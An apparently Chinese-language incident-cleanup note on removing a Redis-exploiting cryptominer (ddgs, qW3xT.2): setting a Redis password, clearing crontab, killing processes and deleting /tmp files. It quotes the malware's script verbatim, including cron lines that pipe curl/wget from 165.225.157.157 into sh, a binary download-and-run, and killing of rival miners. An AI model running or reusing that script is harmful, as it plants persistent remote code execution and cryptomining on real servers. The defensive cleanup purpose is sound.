在排查下redis是否有設置密碼redis
vim /usr/local/redis/redis.conf requirepass yourpassword
清除crontab的配置vim
echo > /var/spool/cron/root # 或者 systemctl stop crond
kill掉佔用CPU高的兩個文件服務器
ps -ef | grep /tmp/ddgs.3013 | awk '{print $2}' | xargs kill -9 ps -ef | grep /tmp/qW3xT.2 | awk '{print $2}' | xargs kill -9
最後一步刪除/tmp目錄下兩個文件curl
rm -rf /tmp/ddgs.3013 rm -rf /tmp/qW3xT.2
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root ps auxf | grep -v grep | grep /tmp/ddgs.3011 || rm -rf /tmp/ddgs.3011 if [ ! -f "/tmp/ddgs.3011" ]; then curl -fsSL http://165.225.157.157:8000/static/3011/ddgs.$(uname -m) -o /tmp/ddgs.3011 fi chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011 ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill